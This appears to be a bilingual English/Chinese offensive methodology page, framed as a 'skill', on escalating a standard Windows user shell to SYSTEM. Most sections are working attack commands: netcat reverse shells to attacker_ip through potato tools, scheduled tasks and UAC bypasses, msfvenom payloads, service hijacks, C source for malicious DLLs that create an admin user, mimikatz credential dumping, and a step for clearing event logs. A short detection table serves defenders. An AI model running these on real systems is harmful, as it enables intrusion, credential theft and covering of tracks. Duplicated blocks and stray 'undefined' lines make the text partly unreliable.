Windows Privilege Escalation

Windows 权限提升

You have a standard user shell on a Windows target. Your objective is to escalate to NT AUTHORITY\SYSTEM or local Administrator through systematic enumeration and exploitation of misconfigurations, vulnerable services, and unpatched software. This skill provides a structured methodology that moves from passive reconnaissance through increasingly aggressive techniques.

Windows privilege escalation differs fundamentally from Linux. The attack surface centers on services, tokens, the registry, DLL loading mechanics, and the Windows access control model. Master these primitives and you can chain findings from any enumeration tool into a working escalation path.

你已在一个 Windows 目标上获得标准用户 shell。你的目标是通过系统化地枚举并利用配置错误、存在漏洞的服务及未打补丁的软件，提升到 NT AUTHORITY\SYSTEM 或本地 Administrator。本 skill 提供了一套结构化方法论，流程从被动侦察逐步过渡到更具侵入性的技术。

Windows 权限提升与 Linux 存在根本差异。攻击面集中在服务、token、注册表、DLL 加载机制以及 Windows 访问控制模型。掌握这些原语后，你可以将任意枚举工具发现的问题串联成一条可行的提权路径。

Quick Workflow

快速工作流

Run automated enumeration (WinPEAS, PowerUp, Seatbelt) to surface misconfigurations.
Check current privileges -- SeImpersonate/SeAssignPrimaryToken are immediate wins.
Enumerate services for unquoted paths, weak DACLs, and writable binaries.
Check AlwaysInstallElevated registry keys for MSI-based escalation.
Identify DLL hijacking opportunities in privileged processes.
Attempt UAC bypass if running as a local admin without elevated context.
Inspect scheduled tasks, registry autoruns, and writable PATH directories.
Harvest credentials from SAM, DPAPI, LSA secrets, and Credential Manager.
Check for PrintNightmare and other unpatched vulnerabilities as a last resort.

运行自动化枚举（WinPEAS、PowerUp、Seatbelt），发现配置错误。
检查当前权限——SeImpersonate/SeAssignPrimaryToken 是直接的突破口。
枚举服务中的未加引号路径、弱 DACL 和可写二进制文件。
检查 AlwaysInstallElevated 注册表项，以寻找基于 MSI 的提权机会。
识别特权进程中的 DLL 劫持机会。
如果以本地管理员身份运行但处于非提升上下文，则尝试绕过 UAC。
检查计划任务、注册表 autorun 和可写 PATH 目录。
从 SAM、DPAPI、LSA secrets 和 Credential Manager 收集凭据。
最后再检查 PrintNightmare 和其他未修补的漏洞。

Automated Enumeration

自动化枚举

Run automated tools first to build a comprehensive picture of the attack surface. Review output methodically -- these tools surface findings you would otherwise miss.

powershell

undefined

首先运行自动化工具，全面了解攻击面。应有条不紊地审查输出——这些工具会发现你原本可能遗漏的问题。

powershell

undefined

WinPEAS

.\winPEASx64.exe > C:\Users\Public\winpeas.txt 2>&1 .\winPEASx64.exe servicesinfo # Specific checks only

PowerUp

Import-Module .\PowerUp.ps1 Invoke-AllChecks | Out-File -FilePath C:\Users\Public\powerup.txt

SharpUp / Seatbelt / BeRoot

.\SharpUp.exe audit .\Seatbelt.exe -group=all > C:\Users\Public\seatbelt.txt .\beRoot.exe

---

.\SharpUp.exe audit .\Seatbelt.exe -group=all > C:\Users\Public\seatbelt.txt .\beRoot.exe

---

Token Impersonation

Token 模拟

When your user holds SeImpersonate or SeAssignPrimaryToken privileges (common for service accounts, IIS AppPool, SQL Server, MSSQL), you can impersonate the SYSTEM token. This is one of the most reliable escalation vectors on Windows.

当当前用户拥有 SeImpersonate 或 SeAssignPrimaryToken 权限时（服务账户、IIS AppPool、SQL Server、MSSQL 中很常见），你可以模拟 SYSTEM token。这是 Windows 上最可靠的提权途径之一。

Privilege Check

权限检查

powershell

undefined

powershell

undefined

Check current privileges

whoami /priv

Look for these specifically:

SeImpersonatePrivilege - Impersonate a client after authentication

SeAssignPrimaryTokenPrivilege - Replace a process-level token

undefined

undefined

JuicyPotato (Windows Server 2008-2016, Windows 7-10 before 1809)

powershell

undefined

powershell

undefined

JuicyPotato abuses COM DCOM authentication to negotiate a SYSTEM token

.\JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\Users\Public\nc.exe attacker_ip 4444 -e cmd.exe" -t * -c {4991d34b-80a1-4291-83b6-3328366b9097}

Common CLSIDs vary by OS version

Windows 10: {4991d34b-80a1-4291-83b6-3328366b9097}

Windows Server 2016: {8BC3F05E-D86B-11D0-A075-00C04FB68820}

If default CLSID fails, enumerate valid ones

.\JuicyPotato.exe -z -l 1337 -t * -c {clsid_here}

undefined

.\JuicyPotato.exe -z -l 1337 -t * -c {clsid_here}

undefined

PrintSpoofer (Windows 10, Server 2016/2019)

powershell

undefined

powershell

undefined

Abuses the Print Spooler service to capture a SYSTEM token

.\PrintSpoofer64.exe -i -c powershell.exe

Direct command execution

.\PrintSpoofer64.exe -c "C:\Users\Public\nc.exe attacker_ip 4444 -e cmd.exe"

undefined

.\PrintSpoofer64.exe -c "C:\Users\Public\nc.exe attacker_ip 4444 -e cmd.exe"

undefined

GodPotato (Windows 8-11, Server 2012-2022)

powershell

undefined

powershell

undefined

Works across a wide range of Windows versions -- choose the right .NET binary

.\GodPotato-NET4.exe -cmd "C:\Users\Public\nc.exe attacker_ip 4444 -e cmd.exe"

undefined

.\GodPotato-NET4.exe -cmd "C:\Users\Public\nc.exe attacker_ip 4444 -e cmd.exe"

undefined

SweetPotato and RoguePotato

SweetPotato 与 RoguePotato

powershell

undefined

powershell

undefined

SweetPotato -- combines multiple potato techniques

.\SweetPotato.exe -p C:\Windows\System32\cmd.exe -a "/c net user hacker Password123! /add && net localgroup Administrators hacker /add"

RoguePotato (Win10 1809+, Server 2019) -- requires attacker relay on port 135

Attacker: socat tcp-listen:135,reuseaddr,fork tcp:target_ip:9999

.\RoguePotato.exe -r attacker_ip -e "C:\Users\Public\nc.exe attacker_ip 4444 -e cmd.exe" -l 9999


Choose your potato based on the target OS version. PrintSpoofer and GodPotato have the broadest coverage on modern systems.

---

.\RoguePotato.exe -r attacker_ip -e "C:\Users\Public\nc.exe attacker_ip 4444 -e cmd.exe" -l 9999


应根据目标 OS 版本选择相应的 potato。PrintSpoofer 和 GodPotato 在现代系统上的覆盖范围最广。

---

Service Misconfigurations

服务错误配置

Windows services running as SYSTEM are a primary escalation target. Misconfigurations in service paths, permissions, and binary locations create exploitable conditions.

以 SYSTEM 身份运行的 Windows 服务是主要提权目标。服务路径、权限和二进制文件位置中的配置错误会形成可利用条件。

Unquoted Service Paths

未加引号的服务路径

powershell

undefined

powershell

undefined

Find unquoted service paths with spaces

wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\" | findstr /i /v '"'

wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows" | findstr /i /v '"'

Or use PowerUp

Get-ServiceUnquoted

Example: path is C:\Program Files\Some Service\binary.exe

Windows tries these in order:

C:\Program.exe

C:\Program Files\Some.exe

C:\Program Files\Some Service\binary.exe

If you can write to C:\Program Files\Some Service\

msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker_ip LPORT=4444 -f exe -o "C:\Program Files\Some Service\Some.exe"

Restart the service

sc stop "ServiceName" sc start "ServiceName"

Or wait for system reboot

undefined

undefined

Weak Service DACLs

弱服务 DACL

powershell

undefined

powershell

undefined

Check service permissions with accesschk (Sysinternals)

.\accesschk64.exe -uwcqv "Authenticated Users" * /accepteula .\accesschk64.exe -uwcqv "Users" * /accepteula .\accesschk64.exe -uwcqv "Everyone" * /accepteula

If SERVICE_CHANGE_CONFIG is granted

sc config "VulnService" binpath= "C:\Users\Public\nc.exe attacker_ip 4444 -e cmd.exe" sc stop "VulnService" sc start "VulnService"

If SERVICE_ALL_ACCESS is granted

sc config "VulnService" binpath= "net localgroup administrators hacker /add" sc stop "VulnService" sc start "VulnService"

PowerUp automated exploitation

Invoke-ServiceAbuse -Name 'VulnService' -UserName 'hacker' -Password 'Password123!'

undefined

Invoke-ServiceAbuse -Name 'VulnService' -UserName 'hacker' -Password 'Password123!'

undefined

Writable Service Binaries

可写服务二进制文件

powershell

undefined

powershell

undefined

Check if the service binary is writable, then replace it

icacls "C:\Program Files\Service\binary.exe" move "C:\Program Files\Service\binary.exe" "C:\Program Files\Service\binary.exe.bak" copy C:\Users\Public\payload.exe "C:\Program Files\Service\binary.exe" sc stop "ServiceName" && sc start "ServiceName"

Using PowerUp

Get-ModifiableServiceFile Install-ServiceBinary -Name 'VulnService'

---

Get-ModifiableServiceFile Install-ServiceBinary -Name 'VulnService'

---

AlwaysInstallElevated

When both the machine and user AlwaysInstallElevated registry keys are set to 1, any user can install MSI packages with SYSTEM privileges.

powershell

undefined

当计算机和用户的 AlwaysInstallElevated 注册表项都设置为 1 时，任何用户都可以使用 SYSTEM 权限安装 MSI 包。

powershell

undefined

Check both registry keys (both must be 1)

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Generate a malicious MSI

msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker_ip LPORT=4444 -f msi -o escalate.msi

Install with elevated privileges

msiexec /quiet /qn /i C:\Users\Public\escalate.msi

Using PowerUp

Write-UserAddMSI

Creates UserAdd.msi that adds a local admin

msiexec /quiet /qn /i UserAdd.msi

---

msiexec /quiet /qn /i UserAdd.msi

---

DLL Hijacking

DLL 劫持

Windows DLL search order creates opportunities to inject malicious libraries into privileged process contexts. When a process running as SYSTEM loads a DLL from a writable location, you can substitute your own.

Windows DLL 搜索顺序为将恶意 DLL 注入特权进程上下文创造了机会。当一个以 SYSTEM 身份运行的进程从可写位置加载 DLL 时，你可以将其替换为自己的 DLL。

Search Order Hijacking

搜索顺序劫持

powershell

undefined

powershell

undefined

Standard DLL search order:

1. Application directory

2. System directory (C:\Windows\System32)

3. 16-bit system directory

4. Windows directory

5. Current directory

6. PATH directories

Monitor DLL loading with Process Monitor (procmon)

Filter: Result = NAME NOT FOUND, Path ends with .dll

Find writable directories in PATH

$env:PATH -split ';' | ForEach-Object { $acl = Get-Acl $_ -ErrorAction SilentlyContinue if ($acl) { $_ + " -> " + ($acl.Access | Where-Object { $.IdentityReference -match "Users|Everyone|Authenticated" -and $.FileSystemRights -match "Write|Modify|FullControl" } | Select-Object -First 1).IdentityReference } }

undefined

$env:PATH -split ';' | ForEach-Object { $acl = Get-Acl $_ -ErrorAction SilentlyContinue if ($acl) { $_ + " -> " + ($acl.Access | Where-Object { $.IdentityReference -match "Users|Everyone|Authenticated" -and $.FileSystemRights -match "Write|Modify|FullControl" } | Select-Object -First 1).IdentityReference } }

undefined

Phantom DLL Hijacking

Phantom DLL 劫持

powershell

undefined

powershell

undefined

Some services load DLLs that do not exist -- use procmon to identify these.

Common phantom DLLs: wlbsctrl.dll (IKEEXT), wbemcomn.dll (WMI), fveapi.dll

Generate: msfvenom -p windows/x64/shell_reverse_tcp LHOST=x LPORT=4444 -f dll -o wlbsctrl.dll

copy wlbsctrl.dll C:\writable\path\directory\

undefined

copy wlbsctrl.dll C:\writable\path\directory\

undefined

Malicious DLL Template

恶意 DLL 模板

c

// dll_hijack.c -- compile with: x86_64-w64-mingw32-gcc -shared -o hijack.dll dll_hijack.c
#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        STARTUPINFO si = { sizeof(si) };
        PROCESS_INFORMATION pi;
        CreateProcess(NULL, "cmd.exe /c net localgroup administrators hacker /add",
                      NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
    }
    return TRUE;
}

c

// dll_hijack.c -- compile with: x86_64-w64-mingw32-gcc -shared -o hijack.dll dll_hijack.c
#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        STARTUPINFO si = { sizeof(si) };
        PROCESS_INFORMATION pi;
        CreateProcess(NULL, "cmd.exe /c net localgroup administrators hacker /add",
                      NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
    }
    return TRUE;
}

UAC Bypass

UAC 绕过

User Account Control can be bypassed when you are running as a local administrator in a medium-integrity context. UAC bypass elevates to high integrity without a consent prompt.

当你以本地管理员身份运行且处于中等完整性级别上下文时，可以绕过 User Account Control。UAC 绕过可在无需同意提示的情况下将完整性级别提升至 high。

Check UAC Settings

检查 UAC 设置

powershell

undefined

powershell

undefined

Check current integrity level

whoami /groups | findstr "Mandatory"

Check UAC configuration

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin

ConsentPromptBehaviorAdmin = 0 means UAC is effectively disabled

undefined

undefined

fodhelper.exe Bypass

fodhelper.exe 绕过

powershell

undefined

powershell

undefined

fodhelper.exe auto-elevates and reads from a user-writable registry key

Works on Windows 10/11

Set the registry key to execute our command

New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "cmd /c start C:\Users\Public\nc.exe attacker_ip 4444 -e cmd.exe" -Force

Trigger fodhelper

Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden

Cleanup

Remove-Item "HKCU:\Software\Classes\ms-settings" -Recurse -Force

undefined

Remove-Item "HKCU:\Software\Classes" -Recurse -Force

undefined

eventvwr.exe Bypass

eventvwr.exe 绕过

powershell

undefined

powershell

undefined

eventvwr.exe reads from HKCU registry before HKCR

Works on Windows 7-10

New-Item "HKCU:\Software\Classes\mscfile\Shell\Open\command" -Force Set-ItemProperty -Path "HKCU:\Software\Classes\mscfile\Shell\Open\command" -Name "(default)" -Value "cmd /c start C:\Users\Public\payload.exe" -Force

Trigger eventvwr

Start-Process "C:\Windows\System32\eventvwr.exe"

Cleanup

Remove-Item "HKCU:\Software\Classes\mscfile" -Recurse -Force

undefined

Remove-Item "HKCU:\Software\Classes\mscfile" -Recurse -Force

undefined

CMSTP Bypass

CMSTP 绕过

powershell

undefined

powershell

undefined

Create an INF file that CMSTP will process

$inf = @" [version] Signature=

$chicago

$ AdvancedINF=2.5 [DefaultInstall_SingleUser] UnRegisterOCXs=UnRegisterOCXSection [UnRegisterOCXSection] %11%\scrobj.dll,NI,http://attacker_ip/payload.sct "@ $inf | Out-File C:\Users\Public\bypass.inf

$inf = @" [version] Signature=

$chicago

$ AdvancedINF=2.5 [DefaultInstall_SingleUser] UnRegisterOCXs=UnRegisterOCXSection [UnRegisterOCXSection] %11%\scrobj.dll,NI,http://attacker_ip/payload.sct "@ $inf | Out-File C:\Users\Public\bypass.inf

Execute CMSTP with the crafted INF

cmstp.exe /ni /s C:\Users\Public\bypass.inf

---

cmstp.exe /ni /s C:\Users\Public\bypass.inf

---

Scheduled Task Abuse

计划任务滥用

Scheduled tasks running as SYSTEM with writable actions or misconfigured permissions provide escalation paths.

powershell

undefined

以 SYSTEM 身份运行且操作路径可写或权限配置不当的计划任务，可提供提权路径。

powershell

undefined

Enumerate scheduled tasks

schtasks /query /fo LIST /v > C:\Users\Public\tasks.txt

Find tasks running as SYSTEM

schtasks /query /fo LIST /v | findstr /i "SYSTEM" -B 5

Check permissions on task action binaries

icacls "C:\Path\To\Task\Binary.exe"

If the binary is writable

copy C:\Users\Public\payload.exe "C:\Path\To\Task\Binary.exe"

Check task file permissions (XML definitions)

.\accesschk64.exe -uwq "C:\Windows\System32\Tasks" /accepteula

Create a new scheduled task (requires appropriate permissions)

schtasks /create /tn "Escalate" /tr "C:\Users\Public\payload.exe" /sc onstart /ru SYSTEM

Using PowerShell

$action = New-ScheduledTaskAction -Execute "C:\Users\Public\nc.exe" -Argument "attacker_ip 4444 -e cmd.exe" $trigger = New-ScheduledTaskTrigger -AtStartup $principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest Register-ScheduledTask -TaskName "Escalate" -Action $action -Trigger $trigger -Principal $principal

---

$action = New-ScheduledTaskAction -Execute "C:\Users\Public\nc.exe" -Argument "attacker_ip 4444 -e cmd.exe" $trigger = New-ScheduledTaskTrigger -AtStartup $principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest Register-ScheduledTask -TaskName "Escalate" -Action $action -Trigger $trigger -Principal $principal

---

Registry Autoruns

注册表 Autoruns

Programs configured to run at startup via registry keys can be hijacked if their binaries or referenced paths are writable.

powershell

undefined

通过注册表键配置为开机启动的程序，如果其二进制文件或引用路径可写，就可能被劫持。

powershell

undefined

Common autorun registry locations

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

Check permissions on autorun binaries

.\accesschk64.exe -uwqs "Everyone" "C:\Program Files" /accepteula .\accesschk64.exe -uwqs "Users" "C:\Program Files" /accepteula

If an autorun binary is writable

move "C:\Program Files\Autorun\app.exe" "C:\Program Files\Autorun\app.exe.bak" copy C:\Users\Public\payload.exe "C:\Program Files\Autorun\app.exe"

Wait for admin login or system reboot

Using PowerUp

Get-ModifiableRegistryAutoRun

---

Get-ModifiableRegistryAutoRun

---

PrintNightmare -- CVE-2021-34527

PrintNightmare affects the Windows Print Spooler service and enables both remote code execution and local privilege escalation. It allows loading an arbitrary DLL as SYSTEM.

powershell

undefined

PrintNightmare 影响 Windows Print Spooler 服务，同时支持远程代码执行和本地权限提升。它允许以 SYSTEM 身份加载任意 DLL。

powershell

undefined

Check if Print Spooler is running

Get-Service -Name Spooler

Check if the system is patched

Get-HotFix | Where-Object { $_.HotFixID -match "KB500(05010|05022|05040)" }

Local privilege escalation variant

Requires a malicious DLL accessible via UNC path or local path

Using the PowerShell PoC

Import-Module .\CVE-2021-34527.ps1 Invoke-Nightmare -DLL "C:\Users\Public\malicious.dll"

Using SharpPrintNightmare

.\SharpPrintNightmare.exe "C:\Users\Public\malicious.dll"

The DLL executes as SYSTEM when the Spooler processes the driver

Common payload: add user to local admins

DLL calls: net localgroup administrators hacker /add


```c
// printnightmare_dll.c
#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        system("net user hacker Password123! /add");
        system("net localgroup administrators hacker /add");
    }
    return TRUE;
}


```c
// printnightmare_dll.c
#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        system("net user hacker Password123! /add");
        system("net localgroup administrators hacker /add");
    }
    return TRUE;
}

Credential Harvesting

凭据收集

Credentials stored on the system can enable lateral movement or direct escalation to higher-privileged accounts.

存储在系统中的凭据可用于横向移动，或直接提升到更高权限的账户。

SAM Database Extraction

SAM 数据库提取

powershell

undefined

powershell

undefined

SAM and SYSTEM hive extraction (requires admin or backup operators group)

reg save HKLM\SAM C:\Users\Public\SAM reg save HKLM\SYSTEM C:\Users\Public\SYSTEM reg save HKLM\SECURITY C:\Users\Public\SECURITY

Transfer to attacker machine and extract with secretsdump

impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL

Volume Shadow Copy method (if reg save fails)

wmic shadowcopy call create Volume='C:' vssadmin list shadows copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Users\Public\SAM copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Users\Public\SYSTEM

undefined

wmic shadowcopy call create Volume='C:' vssadmin list shadows copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Users\Public\SAM copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Users\Public\SYSTEM

undefined

DPAPI and LSA Secrets

DPAPI 与 LSA Secrets

powershell

undefined

powershell

undefined

DPAPI -- list credential blobs

dir C:\Users<user>\AppData\Roaming\Microsoft\Credentials
dir C:\Users<user>\AppData\Local\Microsoft\Credentials\

Mimikatz DPAPI decryption (requires SYSTEM or user context)

mimikatz.exe "privilege::debug" "dpapi::cred /in:C:\Users<user>\AppData\Roaming\Microsoft\Credentials<blob>" exit

SharpDPAPI for targeted extraction

.\SharpDPAPI.exe triage

LSA secrets (service account passwords, auto-logon creds, machine account)

mimikatz.exe "privilege::debug" "lsadump::secrets" exit

undefined

mimikatz.exe "privilege::debug" "lsadump::secrets" exit

undefined

Credential Manager

powershell

undefined

powershell

undefined

Enumerate stored credentials

cmdkey /list

If credentials are stored for admin accounts, use runas

runas /savecred /user:DOMAIN\admin "cmd.exe /c whoami > C:\Users\Public\whoami.txt"

undefined

runas /savecred /user:DOMAIN\admin "cmd.exe /c whoami > C:\Users\Public\whoami.txt"

undefined

Additional Credential Sources

其他凭据来源

powershell

undefined

powershell

undefined

Unattended install files

dir C:\Unattend.xml C:\Windows\Panther\Unattend.xml C:\sysprep\sysprep.xml /s 2>nul

IIS configuration and web.config

type C:\inetpub\wwwroot\web.config 2>nul

WiFi passwords

netsh wlan show profiles netsh wlan show profile name="NetworkName" key=clear

PowerShell history

type C:\Users<user>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Saved RDP connections

reg query "HKCU\Software\Microsoft\Terminal Server Client\Servers"

---

reg query "HKCU\Software\Microsoft\Terminal Server Client\Servers"

---

Detection / Defender View

检测 / 防御方视角

Every technique above has corresponding detection opportunities. Understanding these helps you operate more carefully on mature targets and helps blue teams build monitoring.

Technique	Detection Indicator
WinPEAS/enumeration	High volume of WMI queries, registry reads, service enumeration in rapid succession
Token impersonation	Named pipe creation (PrintSpoofer), COM/DCOM unusual activation (Potato family), Sysmon Event ID 8 (CreateRemoteThread)
Service abuse	Service configuration changes (Event ID 7045), sc.exe/reg.exe execution, binary replacement (file integrity)
AlwaysInstallElevated	msiexec.exe spawning unexpected child processes, MSI install events from non-admin users
DLL hijacking	DLL loads from unusual paths (Sysmon Event ID 7), unsigned DLLs in system directories
UAC bypass	Registry modifications under HKCU\Software\Classes, auto-elevating processes spawning cmd/powershell (Event ID 4688)
Scheduled task abuse	Task creation events (Event ID 4698), task modification (Event ID 4702), schtasks.exe execution
PrintNightmare	Print Spooler loading DLLs from non-standard paths, Event ID 808 (PrintService), driver installation events
Credential harvesting	LSASS access (Sysmon Event ID 10), reg.exe accessing SAM/SECURITY/SYSTEM hives, Mimikatz signatures

Key log sources:

text

Windows Security Log: 4688 (process creation), 4697 (service install), 4698 (task creation), 4703 (token adjust), 7045 (new service)
Sysmon: Event 1 (process), 7 (DLL load), 8 (CreateRemoteThread), 10 (LSASS access), 13 (registry set)
PowerShell: Script Block Logging (4104), Module Logging, Transcription

上述每项技术都有对应的检测机会。了解这些检测点有助于你在成熟目标上更加谨慎地操作，也有助于蓝队构建监控。

技术	检测指标
WinPEAS/枚举	WMI 查询、注册表读取和服务枚举在短时间内大量发生
Token 模拟	创建命名管道（PrintSpoofer）、异常的 COM/DCOM 激活（Potato 系列）、Sysmon Event ID 8 (CreateRemoteThread)
服务滥用	服务配置变更（Event ID 7045）、sc.exe/reg.exe 执行、二进制文件替换（文件完整性）
AlwaysInstallElevated	msiexec.exe 生成意外的子进程、非管理员用户触发 MSI 安装事件
DLL 劫持	从异常路径加载 DLL（Sysmon Event ID 7）、系统目录中存在未签名 DLL
UAC 绕过	修改 HKCU\Software\Classes 下的注册表项、自动提升进程生成 cmd/powershell（Event ID 4688）
计划任务滥用	任务创建事件（Event ID 4698）、任务修改（Event ID 4702）、schtasks.exe 执行
PrintNightmare	Print Spooler 从非标准路径加载 DLL、Event ID 808 (PrintService)、驱动程序安装事件
凭据收集	LSASS 访问（Sysmon Event ID 10）、reg.exe 访问 SAM/SECURITY/SYSTEM hive、Mimikatz 特征

关键日志来源：

text

Windows Security Log: 4688 (process creation), 4697 (service install), 4698 (task creation), 4703 (token adjust), 7045 (new service)
Sysmon: Event 1 (process), 7 (DLL load), 8 (CreateRemoteThread), 10 (LSASS access), 13 (registry set)
PowerShell: Script Block Logging (4104), Module Logging, Transcription

Engagement Cheatsheet

实战速查表

text

PHASE 1 -- ENUMERATE
  whoami /priv                                # SeImpersonate? SeAssignPrimaryToken?
  whoami /groups                              # Local admin? Backup operators?
  systeminfo                                  # OS version, hotfixes, architecture
  wmic service get name,pathname,startmode    # Unquoted paths
  reg query HKLM\...\AlwaysInstallElevated    # MSI escalation
  schtasks /query /fo LIST /v                 # Scheduled tasks
  reg query HKLM\...\Run                      # Autoruns

PHASE 2 -- QUICK WINS
  SeImpersonate -> PrintSpoofer / GodPotato   # Service account to SYSTEM
  AlwaysInstallElevated -> msiexec payload    # Any user to SYSTEM
  Writable service binary -> replace + restart

PHASE 3 -- SERVICE EXPLOITATION
  Unquoted path -> drop binary in gap
  Weak DACL -> sc config binpath
  DLL hijack -> writable PATH dir or phantom DLL

PHASE 4 -- UAC + CREDENTIALS
  fodhelper/eventvwr -> high integrity shell
  SAM + SYSTEM hive extraction -> offline crack
  Mimikatz -> DPAPI, LSA, credential manager
  cmdkey /list -> runas /savecred

PHASE 5 -- CVE EXPLOITATION (last resort)
  PrintNightmare -> CVE-2021-34527 (Spooler)
  Check systeminfo against exploit-db/windows-exploit-suggester

CLEANUP
  Remove dropped binaries and DLLs
  Restore original service configurations
  Remove created users and scheduled tasks
  Clear PowerShell history and event logs (if authorized)
  sc config "ServiceName" binpath= "original_path"

text

PHASE 1 -- ENUMERATE
  whoami /priv                                # SeImpersonate? SeAssignPrimaryToken?
  whoami /groups                              # Local admin? Backup operators?
  systeminfo                                  # OS version, hotfixes, architecture
  wmic service get name,pathname,startmode    # Unquoted paths
  reg query HKLM\...\AlwaysInstallElevated    # MSI escalation
  schtasks /query /fo LIST /v                 # Scheduled tasks
  reg query HKLM\...\Run                      # Autoruns

PHASE 2 -- QUICK WINS
  SeImpersonate -> PrintSpoofer / GodPotato   # Service account to SYSTEM
  AlwaysInstallElevated -> msiexec payload    # Any user to SYSTEM
  Writable service binary -> replace + restart

PHASE 3 -- SERVICE EXPLOITATION
  Unquoted path -> drop binary in gap
  Weak DACL -> sc config binpath
  DLL hijack -> writable PATH dir or phantom DLL

PHASE 4 -- UAC + CREDENTIALS
  fodhelper/eventvwr -> high integrity shell
  SAM + SYSTEM hive extraction -> offline crack
  Mimikatz -> DPAPI, LSA, credential manager
  cmdkey /list -> runas /savecred

PHASE 5 -- CVE EXPLOITATION (last resort)
  PrintNightmare -> CVE-2021-34527 (Spooler)
  Check systeminfo against exploit-db/windows-exploit-suggester

CLEANUP
  Remove dropped binaries and DLLs
  Restore original service configurations
  Remove created users and scheduled tasks
  Clear PowerShell history and event logs (if authorized)
  sc config "ServiceName" binpath= "original_path"

Key References

主要参考资料

WinPEAS -- Windows Privilege Escalation Awesome Script: https://github.com/peass-ng/PEASS-ng
PowerUp -- PowerShell privilege escalation tool: https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
SharpUp -- C# port of PowerUp: https://github.com/GhostPack/SharpUp
Seatbelt -- Host survey tool: https://github.com/GhostPack/Seatbelt
BeRoot -- Windows privilege escalation checks: https://github.com/AlessandroZ/BeRoot
PrintSpoofer: https://github.com/itm4n/PrintSpoofer
GodPotato: https://github.com/BeichenDream/GodPotato
JuicyPotato: https://github.com/ohpe/juicypotato
UACME -- UAC bypass methods: https://github.com/hfiref0x/UACME
HackTricks Windows Privilege Escalation: https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation
CVE-2021-34527 (PrintNightmare): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527
MITRE ATT&CK T1548 -- Abuse Elevation Control Mechanism: https://attack.mitre.org/techniques/T1548/
MITRE ATT&CK T1574 -- Hijack Execution Flow: https://attack.mitre.org/techniques/T1574/
PayloadsAllTheThings Windows Privesc: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md

WinPEAS -- Windows Privilege Escalation Awesome Script: https://github.com/peass-ng/PEASS-ng
PowerUp -- PowerShell 权限提升工具: https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
SharpUp -- PowerUp 的 C# 版本: https://github.com/GhostPack/SharpUp
Seatbelt -- 主机调查工具: https://github.com/GhostPack/Seatbelt
BeRoot -- Windows 权限提升检查: https://github.com/AlessandroZ/BeRoot
PrintSpoofer: https://github.com/itm4n/PrintSpoofer
GodPotato: https://github.com/BeichenDream/GodPotato
JuicyPotato: https://github.com/ohpe/juicypotato
UACME -- UAC 绕过方法: https://github.com/hfiref0x/UACME
HackTricks Windows Privilege Escalation: https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation
CVE-2021-34527 (PrintNightmare): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527
MITRE ATT&CK T1548 -- Abuse Elevation Control Mechanism: https://attack.mitre.org/techniques/T1548/
MITRE ATT&CK T1574 -- Hijack Execution Flow: https://attack.mitre.org/techniques/T1574/
PayloadsAllTheThings Windows Privesc: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md

offensive-windows-privesc

Original

Translation

Windows Privilege Escalation

Windows 权限提升

Quick Workflow

快速工作流

Automated Enumeration

自动化枚举

WinPEAS

WinPEAS

PowerUp

PowerUp

SharpUp / Seatbelt / BeRoot

SharpUp / Seatbelt / BeRoot

Token Impersonation

Token 模拟

Privilege Check

权限检查

Check current privileges

Check current privileges

